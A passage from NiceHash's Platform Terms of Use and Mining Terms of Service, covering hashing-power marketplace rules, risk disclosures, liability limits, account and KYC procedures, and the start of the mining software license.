b.annotation?cW(b.annotation,b.size,b).height:bW(b.size,b.count).height}]};a[3]={onPlusOne:{Xr:function(a){return"on"==a.state?"+1":null},Mw:"callback"},onstartinteraction:!0,onendinteraction:!0,onpopup:!0};a[4]=["div","button"];a=_.qr(a);_.UV=a.go;_.TV=a.va})(); }); // Google Inc.
Rastaman4e
NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE PLEASE READ THESE NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE (“Terms”) CAREFULLY BEFORE USING THE THE PLATFORM OR SERVICES DESCRIBED HEREIN. BY SELECTING “I AGREE”, ACCESSING THE PLATFORM, USING NICEHASH MINING SERVICES OR DOWNLOADING OR USING NICEHASH MINING SOFTWARE, YOU ARE ACKNOWLEDGING THAT YOU HAVE READ THESE TERMS, AS AMENDED FROM TIME TO TIME, AND YOU ARE AGREEING TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, OR ANY SUBSEQUENT AMENDMENTS, CHANGES OR UPDATES, DO NOT ACCESS THE PLATFORM, USE NICEHASH MINING SERVICES OR USE THE NICEHASH MINING SOFTWARE. GENERAL These Terms apply to users of the NiceHash Platform (“Platform” and NiceHash Mining Services (“Services”) which are provided to you by NICEHASH Ltd, company organized and existing under the laws of the British Virgin Islands, with registered address at Intershore Chambers, Road Town, Tortola, British Virgin Islands, registration number: 2048669, hereinafter referred to as “NiceHash, as well as “we” or “us”. ELIGIBILITY By using the NiceHash platform and NiceHash Mining Services, you represent and warrant that you: are at least Minimum Age and have capacity to form a binding contract; have not previously been suspended or removed from the NiceHash Platform; have full power and authority to enter into this agreement and in doing so will not violate any other agreement to which you are a party; are not not furthering, performing, undertaking, engaging in, aiding, or abetting any unlawful activity through your relationship with us, through your use of NiceHash Platform or use of NiceHash Mining Services; will not use NiceHash Platform or NiceHash Mining Services if any applicable laws in your country prohibit you from doing so in accordance with these Terms. We reserve the right to terminate your access to the NiceHash Platform and Mining Services for any reason and in our sole and absolute discretion. Use of NiceHash Platform and Mining Services is void where prohibited by applicable law. Depending on your country of residence or incorporation or registered office, you may not be able to use all the functions of the NiceHash Platform or services provided therein. It is your responsibility to follow the rules and laws in your country of residence and/or country from which you access the NiceHash Platform. DEFINITIONS NiceHash Platform means a website located on the following web address: www.nicehash.com. NiceHash Mining Services mean all services provided by NiceHash, namely the provision of the NiceHash Platform, NiceHash Hashing power marketplace, NiceHash API, NiceHash OS, NiceHash Mining Software including licence for NiceHash Miner, NiceHash Private Endpoint, NiceHash Account, NiceHash mobile apps, and all other software products, applications and services associated with these products, except for the provision of NiceHash Exchange Services. NiceHash Exchange Service means a service which allows trading of digital assets in the form of digital tokens or cryptographic currency for our users by offering them a trading venue, helping them find a trading counterparty and providing the means for transaction execution. NiceHash Exchange Services are provided by NICEX Ltd and accessible at the NiceHash Platform under NiceHash Exchange Terms of Service. Hashing power marketplace means an infrastructure provided by the NiceHash which enables the Hashing power providers to point their rigs towards NiceHash stratum servers where Hashing power provided by different Hashing power providers is gathered and sold as generic Hashing power to the Hashing power buyers. Hashing power buyer means a legal entity or individual who buys the gathered and generic hashing power on the Hashing power marketplace from undefined Hashing power providers. Hashing power provider means a legal entity or individual who sells his hashing power on the Hashing power marketplace to undefined Hashing power buyers. NiceHash Mining Software means NiceHash Miner and any other software available via the NiceHash Platform. NiceHash Miner means a comprehensive software with graphical user interface and web interface, owned by NiceHash. NiceHash Miner is a process manager software which enables the Hashing power providers to point their rigs towards NiceHash stratum servers and sell their hashing power to the Hashing power buyers. NiceHash Miner also means any and all of its code, compilations, updates, upgrades, modifications, error corrections, patches and bug fixes and similar. NiceHash Miner does not mean third party software compatible with NiceHash Miner (Third Party Plugins and Miners). NiceHash QuickMiner means a software accessible at https://www.nicehash.com/quick-miner which enables Hashing power providers to point their PCs or rigs towards NiceHash stratum servers and sell their hashing power to the Hashing power buyers. NiceHash QuickMiner is intended as a tryout tool. Hashing power rig means all hardware which produces hashing power that represents computation power which is required to calculate the hash function of different type of cryptocurrency. Secondary account is an account managed by third party from which the Account holder deposits funds to his NiceHash Wallet or/and to which the Account holder withdraws funds from his NiceHash Wallet. Stratum is a lightweight mining protocol: https://slushpool.com/help/manual/stratum-protocol. NiceHash Account means an online account available on the NiceHash Platform and created by completing the registration procedure on the NiceHash Platform. Account holder means an individual or legal entity who completes the registration procedure and successfully creates the NiceHash Account. Minimum Age means 18 years old or older, if in order for NiceHash to lawfully provide the Services to you without parental consent (including using your personal data). NiceHash Wallet means a wallet created automatically for the Account holder and provided by the NiceHash Wallet provider. NiceHash does not hold funds on behalf of the Account holder but only transfers Account holder’s requests regarding the NiceHash Wallet transaction to the NiceHash Wallet provider who executes the requested transactions. In this respect NiceHash only processes and performs administrative services related to the payments regarding the NiceHash Mining Services and NiceHash Exchange Services, if applicable. NiceHash Wallet provider is a third party which on the behalf of the Account holder provides and manages the NiceHash Wallet, holds, stores and transfers funds and hosts NiceHash Wallet. For more information about the NiceHash Wallet provider, see the following website: https://www.bitgo.com/. Blockchain network is a distributed database that is used to maintain a continuously growing list of records, called blocks. Force Majeure Event means any governmental or relevant regulatory regulations, acts of God, war, riot, civil commotion, fire, flood, or any disaster or an industrial dispute of workers unrelated to you or NiceHash. Any act, event, omission, happening or non-happening will only be considered Force Majeure if it is not attributable to the wilful act, neglect or failure to take reasonable precautions of the affected party, its agents, employees, consultants, contractors and sub-contractors. SALE AND PURCHASE OF HASHING POWER Hashing power providers agree to sell and NiceHash agrees to proceed Hashing power buyers’ payments for the provided hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle get-paid-per-valid-share (pay as you go principle) Hashing power providers will be paid only for validated and accepted hashing power to their NiceHash Wallet or other wallet, as indicated in Account holder’s profile settings or in stratum connection username. In some cases, no Hashing power is sent to Hashing power buyers or is accepted by NiceHash Services, even if Hashing power is generated on the Hashing power rigs. These cases include usage of slower hardware as well as software, hardware or network errors. In these cases, Hashing power providers are not paid for such Hashing power. Hashing power buyers agree to purchase and NiceHash agrees to process the order and forward the purchased hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle pay-per-valid-share (pay as you go principle) Hashing power buyers will pay from their NiceHash Wallet only for the hashing power that was validated by our engine. When connection to the mining pool which is selected on the Hashing power order is lost or when an order is cancelled during its lifetime, Hashing power buyer pays for additional 10 seconds worth of hashing power. Hashing power order is charged for extra hashing power when mining pool which is selected on the Hashing power order, generates rapid mining work changes and/or rapid mining job switching. All payments including any fees will be processed in crypto currency and NiceHash does not provide an option to sale and purchase of the hashing power in fiat currency. RISK DISCLOSURE If you choose to use NiceHash Platform, Services and NiceHash Wallet, it is important that you remain aware of the risks involved, that you have adequate technical resources and knowledge to bear such risks and that you monitor your transactions carefully. General risk You understand that NiceHash Platform and Services, blockchain technology, Bitcoin, all other cryptocurrencies and cryptotokens, proof of work concept and other associated and related technologies are new and untested and outside of NiceHash’s control. You acknowledge that there are major risks associated with these technologies. In addition to the risks disclosed below, there are risks that NiceHash cannot foresee and it is unreasonable to believe that such risk could have been foreseeable. The performance of NiceHash’s obligation under these Terms will terminate if market or technology circumstances change to such an extent that (i) these Terms clearly no longer comply with NiceHash’s expectations, (ii) it would be unjust to enforce NiceHash’s obligations in the general opinion or (iii) NiceHash’s obligation becomes impossible. NiceHash Account abuse You acknowledge that there is risk associated with the NiceHash Account abuse and that you have been fully informed and warned about it. The funds stored in the NiceHash Wallet may be disposed by third party in case the third party obtains the Account holder’s login credentials. The Account holder shall protect his login credentials and his electronic devices where the login credentials are stored against unauthorized access. Regulatory risks You acknowledge that there is risk associated with future legislation which may restrict, limit or prohibit certain aspects of blockchain technology which may also result in restriction, limitation or prohibition of NiceHash Services and that you have been fully informed and warned about it. Risk of hacking You acknowledge that there is risk associated with hacking NiceHash Services and NiceHash Wallet and that you have been fully informed and warned about it. Hacker or other groups or organizations may attempt to interfere with NiceHash Services or NiceHash Wallet in any way, including without limitation denial of services attacks, Sybil attacks, spoofing, smurfing, malware attacks, mining attacks or consensus-based attacks. Cryptocurrency risk You acknowledge that there is risk associated with the cryptocurrencies which are used as payment method and that you have been fully informed and warned about it. Cryptocurrencies are prone to, but not limited to, value volatility, transaction costs and times uncertainty, lack of liquidity, availability, regulatory restrictions, policy changes and security risks. NiceHash Wallet risk You acknowledge that there is risk associated with funds held on the NiceHash Wallet and that you have been fully informed and warned about it. You acknowledge that NiceHash Wallet is provided by NiceHash Wallet provider and not NiceHash. You acknowledge and agree that NiceHash shall not be responsible for any NiceHash Wallet provider’s services, including their accuracy, completeness, timeliness, validity, copyright compliance, legality, decency, quality or any other aspect thereof. NiceHash does not assume and shall not have any liability or responsibility to you or any other person or entity for any Hash Wallet provider’s services. Hash Wallet provider’s services and links thereto are provided solely as a convenience to you and you access and use them entirely at your own risk and subject to NiceHash Wallet provider’s terms and conditions. Since the NiceHash Wallet is a cryptocurrency wallet all funds held on it are entirely uninsured in contrast to the funds held on the bank account or other financial institutions which are insured. Connection risk You acknowledge that there are risks associated with usage of NiceHash Services which are provided through the internet including, but not limited to, the failure of hardware, software, configuration and internet connections and that you have been fully informed and warned about it. You acknowledge that NiceHash will not be responsible for any configuration, connection or communication failures, disruptions, errors, distortions or delays you may experience when using NiceHash Services, however caused. Hashing power provision risk You acknowledge that there are risks associated with the provisions of the hashing power which is provided by the Hashing power providers through the Hashing power marketplace and that you have been fully informed and warned about it. You acknowledge that NiceHash does not provide the hashing power but only provides the Hashing power marketplace as a service. Hashing power providers’ Hashing power rigs are new and untested and outside of NiceHash’s control. There is a major risk that the Hashing power rigs (i) will stop providing hashing power, (ii) will provide hashing power in an unstable way, (iii) will be wrongly configured or (iv) provide insufficient speed of the hashing power. Hashing power rigs as hardware could be subject of damage, errors, electricity outage, misconfiguration, connection or communication failures and other malfunctions. NiceHash will not be responsible for operation of Hashing power rigs and its provision of hashing power. By submitting a Hashing power order you agree to Hashing power no-refund policy – all shares forwarded to mining pool, selected on the Hashing power order are final and non-refundable. Hashing power profitability risk You acknowledge that there is risk associated with the profitability of the hashing power provision and that you have been fully informed and warned about it. You acknowledge that all Hashing power rig’s earning estimates and profitability calculations on NiceHash Platform are only for informational purposes and were made based on the Hashing power rigs set up in the test environments. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. There is risk that your Hashing power rig would not produce desired hashing power quantity and quality and that your produced hashing power would differentiate from the hashing power produced by our Hashing power rigs set up in the test environments. There is risk that your Hashing power rigs would not be as profitable as our Hashing power rigs set up in the test environments or would not be profitable at all. WARRANTIES NiceHash Platform and Mining Services are provided on the “AS IS” and “AS AVAILABLE” basis, including all faults and defects. To the maximum extent permitted by applicable law, NiceHash makes no representations and warranties and you waive all warranties of any kind. Particularly, without limiting the generality of the foregoing, the NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding NiceHash Platform and Mining Services or other services related to NiceHash Platform and provided by third parties, including any warranty that such services will be uninterrupted, harmless, secure or not corrupt or damaged, meet your requirements, achieve any intended results, be compatible or work with any other software, applications, systems or services, meet any performance or error free or that any errors or defects can or will be corrected. Additionally NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise of merchantability, suitability, reliability, availability, timeliness, accuracy, satisfactory quality, fitness for a particular purpose or quality, title and non-infringement with respect to any of the Mining Services or other services related to NiceHash Platform and provided by third parties, or quiet enjoyment and any warranties arising out of any course of dealing, course of performance, trade practice or usage of NiceHash Platform and Mining Services including information, content and material contained therein. Especially NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding any payment services and systems, NiceHash Wallet which is provided by third party or any other financial services which might be related to the NiceHash Platform and Mining Services. You acknowledge that you do not rely on and have not been induced to accept the NiceHash Platform and Mining Services according to these Terms on the basis of any warranties, representations, covenants, undertakings or any other statement whatsoever, other than expressly set out in these Terms that neither the NiceHash nor any of its respective agents, officers, employees or advisers have given any such warranties, representations, covenants, undertakings or other statements. LIABILITY NiceHash and their respective officers, employees or agents will not be liable to you or anyone else, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages (including but not limited to lost profits, trading losses or damages that result from use or loss of use of NiceHash Services or NiceHash Wallet), even if NiceHash has been advised of the possibility of such damages or losses, including, without limitation, from the use or attempted use of NiceHash Platform and Mining Services, NiceHash Wallet or other related websites or services. NiceHash does not assume any obligations to users in connection with the unlawful alienation of Bitcoins, which occurred on 6. 12. 2017 with NICEHASH, d. o. o., and has been fully reimbursed with the completion of the NiceHash Repayment Program. NiceHash will not be responsible for any compensation, reimbursement, or damages arising in connection with: (i) your inability to use the NiceHash Platform and Mining Services, including without limitation as a result of any termination or suspension of the NiceHash Platform or these Terms, power outages, maintenance, defects, system failures, mistakes, omissions, errors, defects, viruses, delays in operation or transmission or any failure of performance, (ii) the cost of procurement of substitute goods or services, (iii) any your investments, expenditures, or commitments in connection with these Terms or your use of or access to the NiceHash Platform and Mining Services, (iv) your reliance on any information obtained from NiceHash, (v) Force Majeure Event, communications failure, theft or other interruptions or (vi) any unauthorized access, alteration, deletion, destruction, damage, loss or failure to store any data, including records, private key or other credentials, associated with NiceHash Platform and Mining Services or NiceHash Wallet. Our aggregate liability (including our directors, members, employees and agents), whether in contract, warranty, tort (including negligence, whether active, passive or imputed), product liability, strict liability or other theory, arising out of or relating to the use of NiceHash Platform and Mining Services, or inability to use the Platform and Services under these Terms or under any other document or agreement executed and delivered in connection herewith or contemplated hereby, shall in any event not exceed 100 EUR per user. You will defend, indemnify, and hold NiceHash harmless and all respective employees, officers, directors, and representatives from and against any claims, demand, action, damages, loss, liabilities, costs and expenses (including reasonable attorney fees) arising out of or relating to (i) any third-party claim concerning these Terms, (ii) your use of, or conduct in connection with, NiceHash Platform and Mining Services, (iii) any feedback you provide, (iv) your violation of these Terms, (v) or your violation of any rights of any other person or entity. If you are obligated to indemnify us, we will have the right, in our sole discretion, to control any action or proceeding (at our expense) and determine whether we wish to settle it. If we are obligated to respond to a third-party subpoena or other compulsory legal order or process described above, you will also reimburse us for reasonable attorney fees, as well as our employees’ and contractors’ time and materials spent responding to the third-party subpoena or other compulsory legal order or process at reasonable hourly rates. The Services and the information, products, and services included in or available through the NiceHash Platform may include inaccuracies or typographical errors. Changes are periodically added to the information herein. Improvements or changes on the NiceHash Platform can be made at any time. NICEHASH ACCOUNT The registration of the NiceHash Account is made through the NiceHash Platform, where you are required to enter your email address and password in the registration form. After successful completion of registration, the confirmation email is sent to you. After you confirm your registration by clicking on the link in the confirmation email the NiceHash Account is created. NiceHash will send you proof of completed registration once the process is completed. When you create NiceHash Account, you agree to (i) create a strong password that you change frequently and do not use for any other website, (ii) implement reasonable and appropriate measures designed to secure access to any device which has access to your email address associated with your NiceHash Account and your username and password for your NiceHash Account, (iii) maintain the security of your NiceHash Account by protecting your password and by restricting access to your NiceHash Account; (iv) promptly notify us if you discover or otherwise suspect any security breaches related to your NiceHash Account so we can take all required and possible measures to secure your NiceHash Account and (v) take responsibility for all activities that occur under your NiceHash Account and accept all risks of any authorized or unauthorized access to your NiceHash Account, to the maximum extent permitted by law. Losing access to your email, registered at NiceHash Platform, may also mean losing access to your NiceHash Account. You may not be able to use the NiceHash Platform or Mining Services, execute withdrawals and other security sensitive operations until you regain access to your email address, registered at NiceHash Platform. If you wish to change the email address linked to your NiceHash Account, we may ask you to complete a KYC procedure for security purposes. This step serves solely for the purpose of identification in the process of regaining access to your NiceHash Account. Once the NiceHash Account is created a NiceHash Wallet is automatically created for the NiceHash Account when the request for the first deposit to the NiceHash Wallet is made by the user. Account holder’s NiceHash Wallet is generated by NiceHash Wallet provider. Account holder is strongly suggested to enhance the security of his NiceHash Account by adding an additional security step of Two-factor authentication (hereinafter “2FA”) when logging into his account, withdrawing funds from his NiceHash Wallet or placing a new order. Account holder can enable this security feature in the settings of his NiceHash Account. In the event of losing or changing 2FA code, we may ask the Account holder to complete a KYC procedure for security reasons. This step serves solely for the purpose of identification in the process of reactivating Account holders 2FA and it may be subject to an a In order to use certain functionalities of the NiceHash Platform, such as paying for the acquired hashing power, users must deposit funds to the NiceHash Wallet, as the payments for the hashing power could be made only through NiceHash Wallet. Hashing power providers have two options to get paid for the provided hashing power: (i) by using NiceHash Wallet to receive the payments or (ii) by providing other Bitcoin address where the payments shall be received to. Hashing power providers provide their Bitcoin address to NiceHash by providing such details via Account holder’s profile settings or in a form of a stratum username while connecting to NiceHash stratum servers. Account holder may load funds on his NiceHash Wallet from his Secondary account. Account holder may be charged fees by the Secondary account provider or by the blockchain network for such transaction. NiceHash is not responsible for any fees charged by Secondary account providers or by the blockchain network or for the management and security of the Secondary accounts. Account holder is solely responsible for his use of Secondary accounts and Account holder agrees to comply with all terms and conditions applicable to any Secondary accounts. The timing associated with a load transaction will depend in part upon the performance of Secondary accounts providers, the performance of blockchain network and performance of the NiceHash Wallet provider. NiceHash makes no guarantee regarding the amount of time it may take to load funds on to NiceHash Wallet. NiceHash Wallet shall not be used by Account holders to keep, save and hold funds for longer period and also not for executing other transactions which are not related to the transactions regarding the NiceHash Platform. The NiceHash Wallet shall be used exclusively and only for current and ongoing transactions regarding the NiceHash Platform. Account holders shall promptly withdraw any funds kept on the NiceHash Wallet that will not be used and are not intended for the reasons described earlier. Commission fees may be charged by the NiceHash Wallet provider, by the blockchain network or by NiceHash for any NiceHash Wallet transactions. Please refer to the NiceHash Platform, for more information about the commission fees for NiceHash Wallet transactions which are applicable at the time of the transaction. NiceHash reserves the right to change these commission fees according to the provisions to change these Terms at any time for any reason. You have the right to use the NiceHash Account only in compliance with these Terms and other commercial terms and principles published on the NiceHash Platform. In particular, you must observe all regulations aimed at ensuring the security of funds and financial transactions. Provided that the balance of funds in your NiceHash Wallet is greater than any minimum balance requirements needed to satisfy any of your open orders, you may withdraw from your NiceHash Wallet any amount of funds, up to the total amount of funds in your NiceHash Wallet in excess of such minimum balance requirements, to Secondary Account, less any applicable withdrawal fees charged by NiceHash or by the blockchain network for such transaction. Withdrawals are not processed instantly and may be grouped with other withdrawal requests. Some withdrawals may require additional verification information which you will have to provide in order to process the withdrawal. It may take up to 24 hours before withdrawal is fully processed and distributed to the Blockchain network. Please refer to the NiceHash Platform for more information about the withdrawal fees and withdrawal processing. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. You have the right to close the NiceHash Account. In case you have funds on your NiceHash Wallet you should withdraw funds from your account prior to requesting NiceHash Account closure. After we receive your NiceHash Account closure request we will deactivate your NiceHash Account. You can read more about closing the NiceHash Account in our Privacy Policy. Your NiceHash Account may be deactivated due to your inactivity. Your NiceHash account may be locked and a mandatory KYC procedure is applied for security reasons, if it has been more than 6 month since your last login. NiceHash or any of its partners or affiliates are not responsible for the loss of the funds, stored on or transferred from the NiceHash Wallet, as well as for the erroneous implementation of the transactions made via NiceHash Wallet, where such loss or faulty implementation of the transaction are the result of a malfunction of the NiceHash Wallet and the malfunction was caused by you or the NiceHash Wallet provider. You are obliged to inform NiceHash in case of loss or theft, as well as in the case of any possible misuse of the access data to your NiceHash Account, without any delay, and demand change of access data or closure of your existing NiceHash Account and submit a request for new access data. NiceHash will execute the change of access data or closure of the NiceHash Account and the opening of new NiceHash Account as soon as technically possible and without any undue delay. All information pertaining to registration, including a registration form, generation of NiceHash Wallet and detailed instructions on the use of the NiceHash Account and NiceHash Wallet are available at NiceHash Platform. The registration form as well as the entire system is properly protected from unwanted interference by third parties. KYC PROCEDURE NiceHash is appropriately implementing AML/CTF and security measures to diligently detect and prevent any malicious or unlawful use of NiceHash Services or use, which is strictly prohibited by these Terms, which are deemed as your agreement to provide required personal information for identity verification. Security measures include a KYC procedure, which is aimed at determining the identity of an individual user or an organisation. We may ask you to complete this procedure before enabling some or all functionalities of the NiceHash platform and provide its services. A KYC procedure might be applied as a security measure when: changing the email address linked to your NiceHash Account, losing or changing your 2FA code; logging in to your NiceHash Account for the first time after the launch of the new NiceHash Platform in August 2019, gaining access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof if they were disabled due to and activating your NiceHash Account if it has been deactivated due to its inactivity and/or security or other reasons. HASHING POWER TRANSACTIONS General NiceHash may, at any time and in our sole discretion, (i) refuse any order submitted or provided hashing power, (ii) cancel an order or part of the order before it is executed, (iii) impose limits on the order amount permitted or on provided hashing power or (iv) impose any other conditions or restrictions upon your use of the NiceHash Platform and Mining Services without prior notice. For example, but not limited to, NiceHash may limit the number of open orders that you may establish or limit the type of supported Hashing power rigs and mining algorithms or NiceHash may restrict submitting orders or providing hashing power from certain locations. Please refer to the NiceHash Platform, for more information about terminology, hashing power transactions’ definitions and descriptions, order types, order submission, order procedure, order rules and other restrictions and limitations of the hashing power transactions. NiceHash reserves the right to change any transaction, definitions, description, order types, procedure, rules, restrictions and limitations at any time for any reason. Orders, provision of hashing power, payments, deposits, withdrawals and other transactions are accepted only through the interface of the NiceHash Platform, NiceHash API and NiceHash Account and are fixed by the software and hardware tools of the NiceHash Platform. If you do not understand the meaning of any transaction option, NiceHash strongly encourages you not to utilize any of those options. Hashing Power Order In order to submit an Hashing Power Order via the NiceHash Account, the Hashing power buyer must have available funds in his NiceHash Wallet. Hashing power buyer submits a new order to buy hashing power via the NiceHash Platform or via the NiceHash API by setting the following parameters in the order form: NiceHash service server location, third-party mining pool, algorithm to use, order type, set amount he is willing to spend on this order, set price per hash he is willing to pay, optionally approximate limit maximum hashing power for his order and other parameters as requested and by confirming his order. Hashing power buyer may submit an order in maximum amount of funds available on his NiceHash Wallet at the time of order submission. Order run time is only approximate since order’s lifetime is based on the number of hashes that it delivers. Particularly during periods of high volume, illiquidity, fast movement or volatility in the marketplace for any digital assets or hashing power, the actual price per hash at which some of the orders are executed may be different from the prevailing price indicated on NiceHash Platform at the time of your order. You understand that NiceHash is not liable for any such price fluctuations. In the event of market disruption, NiceHash Services disruption, NiceHash Hashing Power Marketplace disruption or manipulation or Force Majeure Event, NiceHash may do one or more of the following: (i) suspend access to the NiceHash Account or NiceHash Platform, or (ii) prevent you from completing any actions in the NiceHash Account, including closing any open orders. Following any such event, when trading resumes, you acknowledge that prevailing market prices may differ significantly from the prices available prior to such event. When Hashing power buyer submits an order for purchasing of the Hashing power via NiceHash Platform or via the NiceHash API he authorizes NiceHash to execute the order on his behalf and for his account in accordance with such order. Hashing power buyer acknowledges and agrees that NiceHash is not acting as his broker, intermediary, agent or advisor or in any fiduciary capacity. NiceHash executes the order in set order amount minus NiceHash’s processing fee. Once the order is successfully submitted the order amount starts to decrease in real time according to the payments for the provided hashing power. Hashing power buyer agrees to pay applicable processing fee to NiceHash for provided services. The NiceHash’s fees are deducted from Hashing power buyer’s NiceHash Wallet once the whole order is exhausted and completed. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. All orders submitted prior the fee change but not necessary completed prior the fee change will be charged according to the fees applicable at the time of the submission of the order. NiceHash will attempt, on a commercially reasonable basis, to execute the Hashing power buyer’s purchase of the hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power buyer may cancel a submitted order during order’s lifetime. If an order has been partially executed, Hashing power buyer may cancel the unexecuted remainder of the order. In this case the NiceHash’s processing fee will apply only for the partially executed order. NiceHash reserves the right to refuse any order cancellation request once the order has been submitted. Selling Hashing Power and the Provision of Hashing Power In order to submit the hashing power to the NiceHash stratum server the Hashing power provider must first point its Hashing power rig to the NiceHash stratum server. Hashing power provider is solely responsible for configuration of his Hashing power rig. The Hashing power provider gets paid by Hashing power buyers for all validated and accepted work that his Hashing power rig has produced. The provided hashing power is validated by NiceHash’s stratum engine and validator. Once the hashing power is validated the Hashing power provider is entitled to receive the payment for his work. NiceHash logs all validated hashing power which was submitted by the Hashing power provider. The Hashing power provider receives the payments of current globally weighted average price on to his NiceHash Wallet or his selected personal Bitcoin address. The payments are made periodically depending on the height of payments. NiceHash reserves the right to hold the payments any time and for any reason by indicating the reason, especially if the payments represent smaller values. Please refer to the NiceHash Platform, for more information about the height of payments for provided hashing power, how the current globally weighted average price is calculated, payment periods, payment conditions and conditions for detention of payments. NiceHash reserves the right to change this payment policy according to the provisions to change these Terms at any time for any reason. All Hashing power rig’s earnings and profitability calculations on NiceHash Platform are only for informational purposes. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. You hereby acknowledge that it is possible that your Hashing power rigs would not be as profitable as indicated in our informational calculations or would not be profitable at all. Hashing power provider agrees to pay applicable processing fee to NiceHash for provided Services. The NiceHash’s fees are deducted from all the payments made to the Hashing power provider for his provided work. Please refer to the NiceHash Platform, for more information about the fees which are applicable at the time of provision of services. Hashing power provider which has not submitted any hashing power to the NiceHash stratum server for a period of 90 days agrees that a processing fee of 0.00001000 BTC or less, depending on the unpaid mining balance, will be deducted from his unpaid mining balance. NiceHash reserves the right to change these fees according to the provisions to change these Terms at any time for any reason. The changed fees will apply only for the NiceHash Services provided after the change of the fees. NiceHash will attempt, on a commercially reasonable basis, to execute the provision of Hashing power providers’ hashing power on the Hashing power marketplace under these Terms according to the best-effort delivery approach. In this respect NiceHash does not guarantee that the hashing power will actually be delivered or verified and does not guarantee any quality of the NiceHash Services. Hashing power provider may disconnect the Hashing power rig from the NiceHash stratum server any time. NiceHash reserves the right to refuse any Hashing power rig once the Hashing power rig has been pointed towards NiceHash stratum server. RESTRICTIONS When accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, you warrant and agree that you: will not use the Services for any purpose that is unlawful or prohibited by these Terms, will not violate any law, contract, intellectual property or other third-party right or commit a tort, are solely responsible for your conduct while accessing the NiceHash Platform or using the Mining Services or NiceHash Wallet, will not access the NiceHash Platform or use the Mining Services in any manner that could damage, disable, overburden, or impair the provision of the Services or interfere with any other party's use and enjoyment of the Services, will not misuse and/or maliciously use Hashing power rigs, you will particularly refrain from using network botnets or using NiceHash Platform or Mining Services with Hashing power rigs without the knowledge or awareness of Hashing power rig owner(s), will not perform or attempt to perform any kind of malicious attacks on blockchains with the use of the NiceHash Platform or Mining Services, intended to maliciously gain control of more than 50% of the network's mining hash rate, will not use the NiceHash Platform or Mining Services for any kind of market manipulation or disruption, such as but not limited to NiceHash Mining Services disruption and NiceHash Hashing Power Marketplace manipulation. In case of any of the above mentioned events, NiceHash reserves the right to immediately suspend your NiceHash Account, freeze or block the funds in the NiceHash Wallet, and suspend your access to NiceHash Platform, particularly if NiceHash believes that such NiceHash Account are in violation of these Terms or Privacy Policy, or any applicable laws and regulation. RIGHTS AND OBLIGATIONS In the event of disputes with you, NiceHash is obliged to prove that the NiceHash service which is the subject of the dispute was not influenced by technical or other failure. You will have possibility to check at any time, subject to technical availability, the transactions details, statistics and available balance of the funds held on the NiceHash Wallet, through access to the NiceHash Account. You may not obtain or attempt to obtain any materials or information through any means not intentionally made available or provided to you or public through the NiceHash Platform or Mining Services. We may, in our sole discretion, at any time, for any or no reason and without liability to you, with prior notice (i) terminate all rights and obligations between you and NiceHash derived from these Terms, (ii) suspend your access to all or a portion of NiceHash Services, NiceHash Wallet and its related services or any portion thereof and delete or deactivate your NiceHash Account and all related information and files in such account (iii) modify, suspend or discontinue, temporarily or permanently, any portion of NiceHash Platform or (iv) provide enhancements or improvements to the features and functionality of the NiceHash Platform, which may include patches, bug fixes, updates, upgrades and other modifications. Any such change may modify or delete certain portion, features or functionalities of the NiceHash Services. You agree that NiceHash has no obligation to (i) provide any updates, or (ii) continue to provide or enable any particular portion, features or functionalities of the NiceHash Services to you. You further agree that all changes will be (i) deemed to constitute an integral part of the NiceHash Platform, and (ii) subject to these Terms. In the event of your breach of these Terms, including but not limited to, for instance, in the event that you breach any term of these Terms, due to legal grounds originating in anti-money laundering and know your client regulation and procedures, or any other relevant applicable regulation, all right and obligations between you and NiceHash derived from these Terms terminate automatically if you fail to comply with these Terms within the notice period of 8 days after you have been warned by NiceHash about the breach and given 8 days period to cure the breaches. NiceHash reserves the right to keep these rights and obligations in force despite your breach of these Terms. In the event of termination, NiceHash will attempt to return you any funds stored on your NiceHash Wallet not otherwise owed to NiceHash, unless NiceHash believes you have committed fraud, negligence or other misconduct. You acknowledge that the NiceHash Services and NiceHash Wallet may be suspended for maintenance. Technical information about the hashing power transactions, including information about chosen server locations, algorithms used, selected mining pools, your business or activities, including all financial and technical information, specifications, technology together with all details of prices, current transaction performance and future business strategy represent confidential information and trade secrets. NiceHash shall, preserve the confidentiality of all before mentioned information and shall not disclose or cause or permit to be disclosed without your permission any of these information to any person save to the extent that such disclosure is strictly to enable you to perform or comply with any of your obligations under these Terms, or to the extent that there is an irresistible legal requirement on you or NiceHash to do so; or where the information has come into the public domain otherwise than through a breach of any of the terms of these Terms. NiceHash shall not be entitled to make use of any of these confidential information and trade secrets other than during the continuance of and pursuant to these Terms and then only for the purpose of carrying out its obligations pursuant to these Terms. NICEHASH MINER LICENSE (NICEHASH MINING SOFTWARE LICENSE) NiceHash Mining Software whether on disk, in read only memory, or any other media or in any other form is licensed, not sold, to you by NiceHash for use only under these Terms. NiceHash retains ownership of the NiceHash Mining Software itself and reserves all rights not expressly granted to you. Subject to these Terms, you are granted a limited, non-transferable, non-exclusive and a revocable license to download, install and use the NiceHash Mining Software. You may not distribute or make the NiceHash Mining Software available over a network where it could be used by multiple devices at the same time. You may not rent, lease, lend, sell, redistribute, assign, sublicense host, outsource, disclose or otherwise commercially exploit the NiceHash Mining Software or make it available to any third party. There is no license fee for the NiceHash Mining Software. NiceHash reserves the right to change the license fee policy according to the provisions to change these Terms any time and for any reason, including to decide to start charging the license fee for the NiceHash 